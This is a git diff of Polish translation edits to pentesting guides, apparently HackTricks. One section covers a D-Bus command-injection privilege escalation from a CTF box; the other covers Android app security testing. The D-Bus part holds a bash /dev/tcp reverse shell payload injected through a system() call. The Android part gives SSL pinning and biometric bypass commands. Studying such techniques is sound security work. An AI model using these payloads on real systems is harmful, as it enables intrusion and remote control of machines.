"type=signal,sender='org.gnome.TypingMonitor',interface='org.gnome.TypingMonitor'" ``` @@ -248,7 +248,7 @@ return render_template('hacker.html', title='Hacker') Jak widać, **nawiązuje połączenie z interfejsem D-Bus** i wysyła do **funkcji "Block"** "client_ip". Po drugiej stronie połączenia D-Bus działa skompilowany w C program binarny. Ten kod **nasłuchuje** na połączeniu D-Bus **na adres IP i wywołuje iptables za pomocą funkcji `system`**, aby zablokować dany adres IP.\ -**Wywołanie `system` jest celowo podatne na wstrzyknięcie poleceń**, więc ładunek taki jak poniższy stworzy powrotną powłokę: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #` +**Wywołanie `system` jest celowo podatne na wstrzyknięcie poleceń**, więc ładunek taki jak poniższy stworzy odwróconą powłokę: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #` ### Wykorzystaj to @@ -262,13 +262,13 @@ r = sd_bus_add_object_vtable(bus, block_vtable, NULL); ``` -Również, w linii 57 możesz znaleźć, że **jedyną zarejestrowaną metodą** dla tej komunikacji D-Bus jest nazywana `Block`(_**Dlatego w następnej sekcji ładunki będą wysyłane do obiektu usługi `htb.oouch.Block`, interfejsu `/htb/oouch/Block` oraz nazwy metody `Block`**_): +Również, w linii 57 możesz znaleźć, że **jedyną zarejestrowaną metodą** dla tej komunikacji D-Bus jest nazywana `Block`(_**Dlatego w następnej sekcji ładunki będą wysyłane do obiektu usługi `htb.oouch.Block`, interfejsu `/htb/oouch/Block` i nazwy metody `Block`**_): ```c SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED), ``` #### Python -Poniższy kod w Pythonie wyśle ładunek do połączenia D-Bus do metody `Block` za pomocą `block_iface.Block(runme)` (_zauważ, że został on wyodrębniony z poprzedniego fragmentu kodu_): +Następujący kod w Pythonie wyśle ładunek do połączenia D-Bus do metody `Block` za pomocą `block_iface.Block(runme)` (_zauważ, że został on wyodrębniony z poprzedniego fragmentu kodu_): ```python import dbus bus = dbus.SystemBus() @@ -287,7 +287,7 @@ dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oou - “-system” tag jest używany do oznaczenia, że jest to wiadomość systemowa, a nie wiadomość sesyjna (domyślnie). - “–print-reply” tag jest używany do odpowiedniego wydrukowania naszej wiadomości i odbierania wszelkich odpowiedzi w formacie czytelnym dla człowieka. - “–dest=Dbus-Interface-Block” Adres interfejsu Dbus. -- “–string:” – Typ wiadomości, którą chcemy wysłać do interfejsu. Istnieje kilka formatów wysyłania wiadomości, takich jak double, bytes, booleans, int, objpath. Z tego, “object path” jest przydatny, gdy chcemy wysłać ścieżkę pliku do interfejsu Dbus. W tym przypadku możemy użyć specjalnego pliku (FIFO), aby przekazać polecenie do interfejsu w imieniu pliku. “string:;” – To jest, aby ponownie wywołać ścieżkę obiektu, gdzie umieszczamy plik/polecenie odwróconego powłoki FIFO. +- “–string:” – Typ wiadomości, którą chcemy wysłać do interfejsu. Istnieje kilka formatów wysyłania wiadomości, takich jak double, bytes, booleans, int, objpath. Z tego, “object path” jest przydatny, gdy chcemy wysłać ścieżkę pliku do interfejsu Dbus. W tym przypadku możemy użyć specjalnego pliku (FIFO), aby przekazać polecenie do interfejsu w nazwie pliku. “string:;” – To jest, aby ponownie wywołać ścieżkę obiektu, gdzie umieszczamy plik/polecenie reverse shell FIFO. _Note that in `htb.oouch.Block.Block`, the first part (`htb.oouch.Block`) references the service object and the last part (`.Block`) references the method name._ @@ -434,7 +434,7 @@ return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS; ``` ## Zautomatyzowane Pomocniki do Enumeracji (2023-2025) -Ręczna enumeracja dużej powierzchni ataku D-Bus za pomocą `busctl`/`gdbus` szybko staje się bolesna. Dwa małe narzędzia FOSS wydane w ostatnich latach mogą przyspieszyć proces podczas zaangażowania red-team lub CTF: +Ręczna enumeracja dużej powierzchni ataku D-Bus za pomocą `busctl`/`gdbus` szybko staje się bolesna. Dwa małe narzędzia FOSS wydane w ostatnich latach mogą przyspieszyć proces podczas zaangażowań red-team lub CTF: ### dbusmap ("Nmap dla D-Bus") * Autor: @taviso – [https://github.com/taviso/dbusmap](https://github.com/taviso/dbusmap) diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index 4c3c9b17e..3515889ab 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -20,11 +20,11 @@ Zobacz poniższą listę [**komend ADB**](adb-commands.md), aby dowiedzieć się ## Smali Czasami interesujące jest **modyfikowanie kodu aplikacji**, aby uzyskać dostęp do **ukrytych informacji** (może dobrze obfuskowanych haseł lub flag). Wtedy może być interesujące dekompilowanie apk, modyfikowanie kodu i ponowne kompilowanie go.\ -[**W tym samouczku** możesz **dowiedzieć się, jak dekompilować APK, modyfikować kod Smali i ponownie kompilować APK** z nową funkcjonalnością](smali-changes.md). Może to być bardzo przydatne jako **alternatywa dla kilku testów podczas analizy dynamicznej**, które będą przedstawione. Pamiętaj, **aby zawsze mieć na uwadze tę możliwość**. +[**W tym samouczku** możesz **nauczyć się, jak dekompilować APK, modyfikować kod Smali i ponownie kompilować APK** z nową funkcjonalnością](smali-changes.md). Może to być bardzo przydatne jako **alternatywa dla kilku testów podczas analizy dynamicznej**, które będą przedstawione. Pamiętaj, **aby zawsze mieć na uwadze tę możliwość**. ## Inne interesujące triki -- [Podrabianie lokalizacji w Sklepie Play](spoofing-your-location-in-play-store.md) +- [Podrabianie swojej lokalizacji w Sklepie Play](spoofing-your-location-in-play-store.md) - [Shizuku Privileged API (dostęp z uprawnieniami bez roota oparty na ADB)](shizuku-privileged-api.md) - [Wykorzystywanie niebezpiecznych mechanizmów aktualizacji w aplikacji](insecure-in-app-update-rce.md) - **Pobieranie APK**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) @@ -64,11 +64,11 @@ Rzucając okiem na **ciągi** APK, możesz szukać **haseł**, **URL** ([https:/ **Firebase** -Zwróć szczególną uwagę na **adresy URL Firebase** i sprawdź, czy są źle skonfigurowane. [Więcej informacji na temat tego, czym jest Firebase i jak go wykorzystać, znajdziesz tutaj.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) +Zwróć szczególną uwagę na **adresy URL Firebase** i sprawdź, czy są źle skonfigurowane. [Więcej informacji o tym, czym jest Firebase i jak go wykorzystać, znajdziesz tutaj.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) ### Basic understanding of the application - Manifest.xml, strings.xml -**Badanie plików _Manifest.xml_ i _strings.xml_ aplikacji może ujawnić potencjalne luki w zabezpieczeniach**. Pliki te można uzyskać za pomocą dekompilatorów lub przez zmianę rozszerzenia pliku APK na .zip, a następnie rozpakowanie go. +**Badanie plików _Manifest.xml_ i _strings.xml_ aplikacji może ujawnić potencjalne luki w zabezpieczeniach**. Pliki te można uzyskać za pomocą dekompilatorów lub zmieniając rozszerzenie pliku APK na .zip, a następnie rozpakowując go. **Luki** zidentyfikowane w **Manifest.xml** obejmują: @@ -87,7 +87,7 @@ Z pliku **strings.xml** można odkryć wrażliwe informacje, takie jak klucze AP **Tapjacking** to atak, w którym **złośliwa** **aplikacja** jest uruchamiana i **pozycjonuje się na wierzchu aplikacji ofiary**. Gdy widocznie zasłania aplikację ofiary, jej interfejs użytkownika jest zaprojektowany w taki sposób, aby oszukać użytkownika do interakcji z nią, podczas gdy przekazuje interakcję do aplikacji ofiary.\ W efekcie **oślepia użytkownika, nie pozwalając mu wiedzieć, że faktycznie wykonuje akcje w aplikacji ofiary**. -Więcej informacji znajdziesz w: +Znajdź więcej informacji w: {{#ref}} tapjacking.md @@ -107,12 +107,12 @@ android-task-hijacking.md **Internal Storage** -W Androidzie pliki **przechowywane** w **wewnętrznej** pamięci są **zaplanowane** do **dostępu** wyłącznie przez **aplikację**, która je **utworzyła**. Ten środek bezpieczeństwa jest **egzekwowany** przez system operacyjny Android i jest zazwyczaj wystarczający dla potrzeb bezpieczeństwa większości aplikacji. Jednak deweloperzy czasami wykorzystują tryby takie jak `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE`, aby **zezwolić** na **dzielenie się** plikami między różnymi aplikacjami. Niemniej jednak, te tryby **nie ograniczają dostępu** do tych plików przez inne aplikacje, w tym potencjalnie złośliwe. +W Androidzie pliki **przechowywane** w **wewnętrznej** pamięci są **zaplanowane** do **dostępu** wyłącznie przez **aplikację**, która je **utworzyła**. Ten środek bezpieczeństwa jest **egzekwowany** przez system operacyjny Android i jest zazwyczaj wystarczający dla potrzeb bezpieczeństwa większości aplikacji. Jednak deweloperzy czasami wykorzystują tryby takie jak `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE`, aby **pozwolić** na **dzielenie się** plikami między różnymi aplikacjami. Niemniej jednak, te tryby **nie ograniczają dostępu** do tych plików przez inne aplikacje, w tym potencjalnie złośliwe. 1. **Analiza statyczna:** - **Upewnij się**, że użycie `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` jest **starannie analizowane**. Te tryby **mogą potencjalnie ujawniać** pliki **niezamierzonym lub nieautoryzowanym dostępem**. 2. **Analiza dynamiczna:** -- **Zweryfikuj** **uprawnienia** ustawione na plikach utworzonych przez aplikację. W szczególności **sprawdź**, czy jakiekolwiek pliki są **ustawione na bycie czytelnymi lub zapisywalnymi na całym świecie**. Może to stanowić istotne ryzyko bezpieczeństwa, ponieważ pozwoli **jakiejkolwiek aplikacji** zainstalowanej na urządzeniu, niezależnie od jej pochodzenia lub zamiaru, na **odczyt lub modyfikację** tych plików. +- **Zweryfikuj** **uprawnienia** ustawione na plikach utworzonych przez aplikację. Szczególnie **sprawdź**, czy jakiekolwiek pliki są **ustawione na bycie czytelnymi lub zapisywalnymi na całym świecie**. Może to stanowić istotne ryzyko bezpieczeństwa, ponieważ pozwoli **jakiejkolwiek aplikacji** zainstalowanej na urządzeniu, niezależnie od jej pochodzenia lub zamiaru, na **odczyt lub modyfikację** tych plików. **External Storage** @@ -122,25 +122,25 @@ Podczas pracy z plikami na **zewnętrznej pamięci**, takiej jak karty SD, nale - Pliki na zewnętrznej pamięci są **globalnie czytelne i zapisywalne**. Oznacza to, że każda aplikacja lub użytkownik może uzyskać dostęp do tych plików. 2. **Problemy z bezpieczeństwem**: - Biorąc pod uwagę łatwość dostępu, zaleca się **nieprzechowywanie wrażliwych informacji** na zewnętrznej pamięci. -- Zewnętrzna pamięć może być usunięta lub dostępna przez każdą aplikację, co czyni ją mniej bezpieczną. +- Zewnętrzna pamięć może być usunięta lub dostępna przez dowolną aplikację, co czyni ją mniej bezpieczną. 3. **Obsługa danych z zewnętrznej pamięci**: -- Zawsze **przeprowadzaj walidację wejścia** na danych pobranych z zewnętrznej pamięci. Jest to kluczowe, ponieważ dane pochodzą z nieznanego źródła. +- Zawsze **przeprowadzaj walidację wejścia** na danych pobranych z zewnętrznej pamięci. To jest kluczowe, ponieważ dane pochodzą z nieznanego źródła. - Przechowywanie plików wykonywalnych lub klas na zewnętrznej pamięci do dynamicznego ładowania jest zdecydowanie odradzane. - Jeśli Twoja aplikacja musi pobrać pliki wykonywalne z zewnętrznej pamięci, upewnij się, że te pliki są **podpisane i weryfikowane kryptograficznie** przed ich dynamicznym załadowaniem. Ten krok jest kluczowy dla utrzymania integralności bezpieczeństwa Twojej aplikacji. Zewnętrzna pamięć może być **dostępna** w `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` > [!TIP] -> Począwszy od Androida 4.4 (**API 17**), karta SD ma strukturę katalogów, która **ogranicza dostęp aplikacji do katalogu, który jest specjalnie przeznaczony dla tej aplikacji**. To zapobiega złośliwej aplikacji uzyskiwaniu dostępu do plików innej aplikacji w trybie odczytu lub zapisu. +> Począwszy od Androida 4.4 (**API 17**), karta SD ma strukturę katalogów, która **ogranicza dostęp aplikacji do katalogu, który jest specjalnie przeznaczony dla tej aplikacji**. To zapobiega złośliwej aplikacji w uzyskaniu dostępu do plików innej aplikacji. **Wrażliwe dane przechowywane w postaci niezaszyfrowanej** -- **Preferencje współdzielone**: Android pozwala każdej aplikacji łatwo zapisywać pliki xml w ścieżce `/data/data//shared_prefs/` i czasami można znaleźć wrażliwe informacje w postaci niezaszyfrowanej w tym folderze. -- **Bazy danych**: Android pozwala każdej aplikacji łatwo zapisywać bazy danych sqlite w ścieżce `/data/data//databases/` i czasami można znaleźć wrażliwe informacje w postaci niezaszyfrowanej w tym folderze. +- **Preferencje współdzielone**: Android pozwala każdej aplikacji na łatwe zapisywanie plików xml w ścieżce `/data/data//shared_prefs/` i czasami można znaleźć wrażliwe informacje w postaci niezaszyfrowanej w tym folderze. +- **Bazy danych**: Android pozwala każdej aplikacji na łatwe zapisywanie baz danych sqlite w ścieżce `/data/data//databases/` i czasami można znaleźć wrażliwe informacje w postaci niezaszyfrowanej w tym folderze. ### Broken TLS -**Akceptuj wszystkie certyfikaty** +**Accept All Certificates** Z jakiegoś powodu czasami deweloperzy akceptują wszystkie certyfikaty, nawet jeśli na przykład nazwa hosta nie pasuje do linii kodu, jak w poniższym przykładzie: ```java @@ -153,7 +153,7 @@ Dobrą metodą na przetestowanie tego jest próba przechwycenia ruchu za pomocą **Słabe procesy zarządzania kluczami** -Niektórzy deweloperzy zapisują wrażliwe dane w lokalnej pamięci i szyfrują je kluczem zakodowanym/łatwym do przewidzenia w kodzie. Nie powinno się tego robić, ponieważ pewne odwracanie kodu może pozwolić atakującym na wydobycie poufnych informacji. +Niektórzy deweloperzy zapisują wrażliwe dane w lokalnej pamięci i szyfrują je kluczem zakodowanym/łatwym do przewidzenia w kodzie. Nie powinno się tego robić, ponieważ pewne odwracanie może pozwolić atakującym na wydobycie poufnych informacji. **Użycie niebezpiecznych i/lub przestarzałych algorytmów** @@ -189,7 +189,7 @@ Zgodnie z tym [**postem na blogu**](https://clearbluejar.github.io/posts/desuper ### Zautomatyzowana analiza statyczna kodu -Narzędzie [**mariana-trench**](https://github.com/facebook/mariana-trench) jest w stanie znaleźć **luki** poprzez **skanowanie** **kodu** aplikacji. To narzędzie zawiera szereg **znanych źródeł** (które wskazują narzędziu **miejsca**, gdzie **wejście** jest **kontrolowane przez użytkownika**), **sinki** (które wskazują narzędziu **niebezpieczne** **miejsca**, gdzie złośliwe dane wejściowe użytkownika mogą spowodować szkody) i **zasady**. Te zasady wskazują na **kombinację** **źródeł-sinków**, które wskazują na lukę. +Narzędzie [**mariana-trench**](https://github.com/facebook/mariana-trench) jest w stanie znaleźć **luki** poprzez **skanowanie** **kodu** aplikacji. To narzędzie zawiera szereg **znanych źródeł** (które wskazują narzędziu **miejsca**, gdzie **wejście** jest **kontrolowane przez użytkownika**), **sinks** (które wskazują narzędziu **niebezpieczne** **miejsca**, gdzie złośliwe dane wejściowe użytkownika mogą spowodować szkody) oraz **reguły**. Te reguły wskazują na **kombinację** **źródeł-sinków**, która wskazuje na lukę. Dzięki tej wiedzy, **mariana-trench przejrzy kod i znajdzie możliwe luki w nim**. @@ -267,7 +267,7 @@ Musisz aktywować opcje **debugowania**, a byłoby dobrze, gdybyś mógł je **z 4. Naciśnij **Numer kompilacji** 7 razy. 5. Wróć i znajdziesz **Opcje dewelopera**. -> Po zainstalowaniu aplikacji pierwszą rzeczą, którą powinieneś zrobić, jest jej przetestowanie i zbadanie, co robi, jak działa i zapoznanie się z nią.\ +> Gdy zainstalujesz aplikację, pierwszą rzeczą, którą powinieneś zrobić, jest jej przetestowanie i zbadanie, co robi, jak działa i zapoznanie się z nią.\ > Sugeruję **przeprowadzenie tej początkowej analizy dynamicznej za pomocą analizy dynamicznej MobSF + pidcat**, abyśmy mogli **dowiedzieć się, jak działa aplikacja**, podczas gdy MobSF **zbiera** wiele **interesujących** **danych**, które możesz później przejrzeć. ### Niezamierzony wyciek danych @@ -277,12 +277,12 @@ Musisz aktywować opcje **debugowania**, a byłoby dobrze, gdybyś mógł je **z Deweloperzy powinni być ostrożni w ujawnianiu **informacji debugowania** publicznie, ponieważ może to prowadzić do wycieków wrażliwych danych. Narzędzia [**pidcat**](https://github.com/JakeWharton/pidcat) i `adb logcat` są zalecane do monitorowania logów aplikacji w celu identyfikacji i ochrony wrażliwych informacji. **Pidcat** jest preferowane ze względu na łatwość użycia i czytelność. > [!WARNING] -> Zauważ, że od **nowszych niż Android 4.0**, **aplikacje mogą uzyskiwać dostęp tylko do swoich własnych logów**. Aplikacje nie mogą uzyskiwać dostępu do logów innych aplikacji.\ +> Zauważ, że od **nowszych niż Android 4.0**, **aplikacje mogą uzyskiwać dostęp tylko do swoich własnych logów**. Więc aplikacje nie mogą uzyskiwać dostępu do logów innych aplikacji.\ > Tak czy inaczej, nadal zaleca się **nie logować wrażliwych informacji**. **Bufor kopiowania/wklejania** -Oparty na **schowku** framework Androida umożliwia funkcjonalność kopiowania i wklejania w aplikacjach, ale stwarza ryzyko, ponieważ **inne aplikacje** mogą **uzyskiwać dostęp** do schowka, potencjalnie ujawniając wrażliwe dane. Ważne jest, aby **wyłączyć funkcje kopiowania/wklejania** dla wrażliwych sekcji aplikacji, takich jak dane karty kredytowej, aby zapobiec wyciekom danych. +Androidowy framework oparty na **schowku** umożliwia funkcjonalność kopiowania i wklejania w aplikacjach, ale stwarza ryzyko, ponieważ **inne aplikacje** mogą **uzyskiwać dostęp** do schowka, potencjalnie ujawniając wrażliwe dane. Ważne jest, aby **wyłączyć funkcje kopiowania/wklejania** dla wrażliwych sekcji aplikacji, takich jak dane karty kredytowej, aby zapobiec wyciekom danych. **Logi awarii** @@ -296,7 +296,7 @@ Aplikacje często integrują usługi takie jak Google Adsense, co może nieumyś ### Bazy danych SQLite -Większość aplikacji będzie używać **wewnętrznych baz danych SQLite** do zapisywania informacji. Podczas testów penetracyjnych zwróć uwagę na **bazy danych** utworzone, nazwy **tabel** i **kolumn** oraz wszystkie **dane** zapisane, ponieważ możesz znaleźć **wrażliwe informacje** (co byłoby luką).\ +Większość aplikacji będzie używać **wewnętrznych baz danych SQLite** do zapisywania informacji. Podczas testu penetracyjnego zwróć uwagę na **bazy danych** utworzone, nazwy **tabel** i **kolumn** oraz wszystkie **dane** zapisane, ponieważ możesz znaleźć **wrażliwe informacje** (co byłoby luką).\ Bazy danych powinny znajdować się w `/data/data/the.package.name/databases`, jak `/data/data/com.mwr.example.sieve/databases`. Jeśli baza danych zapisuje poufne informacje i jest **szyfrowana**, ale możesz **znaleźć** **hasło** wewnątrz aplikacji, to nadal jest to **luka**. @@ -342,7 +342,7 @@ Jeśli tapjacking nie jest zapobiegany, możesz nadużyć eksportowanej aktywno ### Wykorzystywanie dostawców treści - Uzyskiwanie dostępu i manipulowanie wrażliwymi informacjami [**Przeczytaj to, jeśli chcesz odświeżyć, czym jest dostawca treści.**](android-applications-basics.md#content-provider)\ -Dostawcy treści są zasadniczo używani do **dzielenia się danymi**. Jeśli aplikacja ma dostępne dostawców treści, możesz być w stanie **wyodrębnić wrażliwe** dane z nich. Interesujące jest również testowanie możliwych **iniekcji SQL** i **przechodzenia po ścieżkach**, ponieważ mogą być podatne. +Dostawcy treści są zasadniczo używani do **dzielenia się danymi**. Jeśli aplikacja ma dostępne dostawców treści, możesz być w stanie **wyodrębnić wrażliwe** dane z nich. Warto również przetestować możliwe **SQL injection** i **Path Traversals**, ponieważ mogą być podatne. [**Dowiedz się, jak wykorzystywać dostawców treści za pomocą Drozer.**](drozer-tutorial/index.html#content-providers) @@ -351,7 +351,7 @@ Dostawcy treści są zasadniczo używani do **dzielenia się danymi**. Jeśli ap [**Przeczytaj to, jeśli chcesz odświeżyć, czym jest usługa.**](android-applications-basics.md#services)\ Pamiętaj, że działania usługi zaczynają się w metodzie `onStartCommand`. -Usługa to zasadniczo coś, co **może odbierać dane**, **przetwarzać** je i **zwracać** (lub nie) odpowiedź. Jeśli aplikacja eksportuje jakieś usługi, powinieneś **sprawdzić** **kod**, aby zrozumieć, co robi, i **testować** ją **dynamicznie** w celu wyodrębnienia poufnych informacji, omijania środków autoryzacji...\ +Usługa to zasadniczo coś, co **może odbierać dane**, **przetwarzać** je i **zwracać** (lub nie) odpowiedź. Jeśli aplikacja eksportuje jakieś usługi, powinieneś **sprawdzić** **kod**, aby zrozumieć, co robi, i **przetestować** ją **dynamicznie** w celu wyodrębnienia poufnych informacji, obejścia środków autoryzacji...\ [**Dowiedz się, jak wykorzystywać usługi za pomocą Drozer.**](drozer-tutorial/index.html#services) ### **Wykorzystywanie odbiorników rozgłoszeniowych** @@ -393,12 +393,12 @@ Zauważ, że jeśli znajdziesz poprawne punkty końcowe w aplikacji, możesz by **Więcej przykładów** -Ciekawy raport o bug bounty [tutaj](https://hackerone.com/reports/855618) dotyczący linków (_/.well-known/assetlinks.json_). +Interesujący raport o bug bounty [tutaj](https://hackerone.com/reports/855618) dotyczący linków (_/.well-known/assetlinks.json_). ### Inspekcja i weryfikacja warstwy transportowej - **Certyfikaty nie zawsze są odpowiednio sprawdzane** przez aplikacje Android. Często te aplikacje ignorują ostrzeżenia i akceptują certyfikaty samopodpisane lub, w niektórych przypadkach, wracają do używania połączeń HTTP. -- **Negocjacje podczas handshake SSL/TLS są czasami słabe**, wykorzystując niebezpieczne zestawy szyfrów. Ta podatność sprawia, że połączenie jest podatne na ataki typu man-in-the-middle (MITM), co pozwala atakującym na odszyfrowanie danych. +- **Negocjacje podczas handshake SSL/TLS są czasami słabe**, wykorzystując niebezpieczne zestawy szyfrów. Ta podatność sprawia, że połączenie jest podatne na ataki typu man-in-the-middle (MITM), umożliwiając atakującym odszyfrowanie danych. - **Wycieki prywatnych informacji** są ryzykiem, gdy aplikacje uwierzytelniają się za pomocą bezpiecznych kanałów, ale następnie komunikują się przez niebezpieczne kanały w innych transakcjach. Takie podejście nie chroni wrażliwych danych, takich jak ciasteczka sesyjne czy dane użytkowników, przed przechwyceniem przez złośliwe podmioty. #### Weryfikacja certyfikatu @@ -407,7 +407,7 @@ Skupimy się na **weryfikacji certyfikatu**. Integralność certyfikatu serwera #### SSL Pinning -SSL Pinning to środek bezpieczeństwa, w którym aplikacja weryfikuje certyfikat serwera w porównaniu do znanej kopii przechowywanej w samej aplikacji. Metoda ta jest niezbędna do zapobiegania atakom MITM. Wdrożenie SSL Pinning jest zdecydowanie zalecane dla aplikacji obsługujących wrażliwe informacje. +SSL Pinning to środek bezpieczeństwa, w którym aplikacja weryfikuje certyfikat serwera w porównaniu do znanej kopii przechowywanej w samej aplikacji. Ta metoda jest niezbędna do zapobiegania atakom MITM. Wdrożenie SSL Pinning jest zdecydowanie zalecane dla aplikacji obsługujących wrażliwe informacje. #### Inspekcja ruchu @@ -419,12 +419,12 @@ Jeśli używasz **Flutter**, musisz postępować zgodnie z instrukcjami na [**te #### Obejście SSL Pinning -Gdy SSL Pinning jest wdrożone, konieczne staje się jego obejście, aby zainspirować ruch HTTPS. Istnieje kilka metod w tym celu: +Gdy SSL Pinning jest wdrożone, konieczne staje się jego obejście, aby zainspirować ruch HTTPS. Istnieje wiele metod w tym celu: - Automatycznie **zmodyfikuj** **apk**, aby **obejść** SSLPinning za pomocą [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Największą zaletą tej opcji jest to, że nie będziesz potrzebować roota, aby obejść SSL Pinning, ale będziesz musiał usunąć aplikację i zainstalować nową, co nie zawsze działa. - Możesz użyć **Frida** (omówionej poniżej), aby obejść tę ochronę. Oto przewodnik, jak używać Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) - Możesz także spróbować **automatycznie obejść SSL Pinning** za pomocą [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` -- Możesz także spróbować **automatycznie obejść SSL Pinning** za pomocą **analizy dynamicznej MobSF** (wyjaśnionej poniżej) +- Możesz również spróbować **automatycznie obejść SSL Pinning** za pomocą **analizy dynamicznej MobSF** (wyjaśnionej poniżej) - Jeśli nadal uważasz, że istnieje jakiś ruch, którego nie przechwytujesz, możesz spróbować **przekierować ruch do burp za pomocą iptables**. Przeczytaj ten blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) #### Szukanie powszechnych podatności w sieci @@ -462,7 +462,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a ``` ### **Wrażliwe dane w Keystore** -W systemie Android Keystore to najlepsze miejsce do przechowywania wrażliwych danych, jednak przy wystarczających uprawnieniach **możliwe jest ich uzyskanie**. Ponieważ aplikacje mają tendencję do przechowywania tutaj **wrażliwych danych w postaci niezaszyfrowanej**, testy penetracyjne powinny to sprawdzać, ponieważ użytkownik root lub osoba z fizycznym dostępem do urządzenia mogłaby być w stanie ukraść te dane. +W Androidzie Keystore to najlepsze miejsce do przechowywania wrażliwych danych, jednak przy wystarczających uprawnieniach **możliwe jest ich uzyskanie**. Ponieważ aplikacje mają tendencję do przechowywania tutaj **wrażliwych danych w postaci niezaszyfrowanej**, testy penetracyjne powinny to sprawdzać, ponieważ użytkownik root lub ktoś z fizycznym dostępem do urządzenia mógłby być w stanie ukraść te dane. Nawet jeśli aplikacja przechowuje dane w keystore, dane powinny być zaszyfrowane. @@ -470,19 +470,19 @@ Aby uzyskać dostęp do danych wewnątrz keystore, możesz użyć tego skryptu F ```bash frida -U -f com.example.app -l frida-scripts/tracer-cipher.js ``` -### **Ominięcie odcisków palców/biometrii** +### **Ominięcie odcisku palca/biometrii** -Używając poniższego skryptu Frida, możliwe jest **ominięcie uwierzytelniania odcisków palców**, które aplikacje Android mogą stosować w celu **ochrony niektórych wrażliwych obszarów:** +Używając poniższego skryptu Frida, możliwe jest **ominięcie uwierzytelniania odciskiem palca**, które aplikacje Android mogą stosować w celu **ochrony niektórych wrażliwych obszarów:** ```bash frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ``` ### **Obrazy w tle** -Kiedy umieszczasz aplikację w tle, Android przechowuje **zrzut ekranu aplikacji**, aby po przywróceniu do pierwszego planu zaczęła ładować obraz przed aplikacją, co sprawia, że wygląda na to, że aplikacja została załadowana szybciej. +Gdy umieszczasz aplikację w tle, Android przechowuje **zrzut ekranu aplikacji**, aby po przywróceniu do pierwszego planu zaczęła ładować obraz przed aplikacją, co sprawia, że wygląda na to, że aplikacja została załadowana szybciej. -Jednakże, jeśli ten zrzut ekranu zawiera **wrażliwe informacje**, ktoś z dostępem do zrzutu może **ukraść te informacje** (zauważ, że potrzebujesz roota, aby uzyskać do niego dostęp). +Jednak jeśli ten zrzut zawiera **wrażliwe informacje**, ktoś z dostępem do zrzutu może **ukraść te informacje** (zauważ, że potrzebujesz roota, aby uzyskać do niego dostęp). -Zrzuty ekranu są zazwyczaj przechowywane w: **`/data/system_ce/0/snapshots`** +Zrzuty są zazwyczaj przechowywane w: **`/data/system_ce/0/snapshots`** Android zapewnia sposób na **zapobieganie przechwytywaniu zrzutów ekranu, ustawiając parametr układu FLAG_SECURE**. Używając tej flagi, zawartość okna jest traktowana jako bezpieczna, co zapobiega jej pojawianiu się w zrzutach ekranu lub wyświetlaniu na niezabezpieczonych ekranach. ```bash @@ -503,17 +503,17 @@ Niebezpieczeństwo polega na umożliwieniu atakującym wywoływania nieeksportow - **Wstrzykiwanie Intencji** jest podobne do problemu Open Redirect w sieci. - Eksploity polegają na przekazywaniu obiektów `Intent` jako dodatkowych, które mogą być przekierowywane do wykonywania niebezpiecznych operacji. - Może to ujawniać nieeksportowane komponenty i dostawców treści atakującym. -- Konwersja URL w `WebView` na `Intent` może ułatwić niezamierzone działania. +- Konwersja URL na `Intent` w `WebView` może ułatwiać niezamierzone działania. -### Wstrzyknięcia po stronie klienta Android i inne +### Wstrzyknięcia po stronie klienta Androida i inne Prawdopodobnie znasz ten rodzaj luk z sieci. Musisz być szczególnie ostrożny z tymi lukami w aplikacji Android: -- **SQL Injection:** Przy obsłudze dynamicznych zapytań lub dostawców treści upewnij się, że używasz zapytań parametryzowanych. +- **Wstrzykiwanie SQL:** Przy obsłudze dynamicznych zapytań lub dostawców treści upewnij się, że używasz zapytań parametryzowanych. - **Wstrzykiwanie JavaScript (XSS):** Sprawdź, czy obsługa JavaScript i wtyczek jest wyłączona dla wszelkich WebViews (domyślnie wyłączona). [Więcej informacji tutaj](webview-attacks.md#javascript-enabled). - **Inkluzja lokalnych plików:** WebViews powinny mieć wyłączony dostęp do systemu plików (domyślnie włączony) - `(webview.getSettings().setAllowFileAccess(false);)`. [Więcej informacji tutaj](webview-attacks.md#javascript-enabled). -- **Eternal cookies**: W kilku przypadkach, gdy aplikacja android kończy sesję, ciasteczko nie jest unieważniane lub może być nawet zapisywane na dysku. -- [**Secure Flag** w ciasteczkach](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags) +- **Wieczne ciasteczka**: W kilku przypadkach, gdy aplikacja androidowa kończy sesję, ciastko nie jest unieważniane lub może być nawet zapisywane na dysku. +- [**Flaga zabezpieczeń** w ciastkach](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags) --- @@ -525,15 +525,15 @@ Prawdopodobnie znasz ten rodzaj luk z sieci. Musisz być 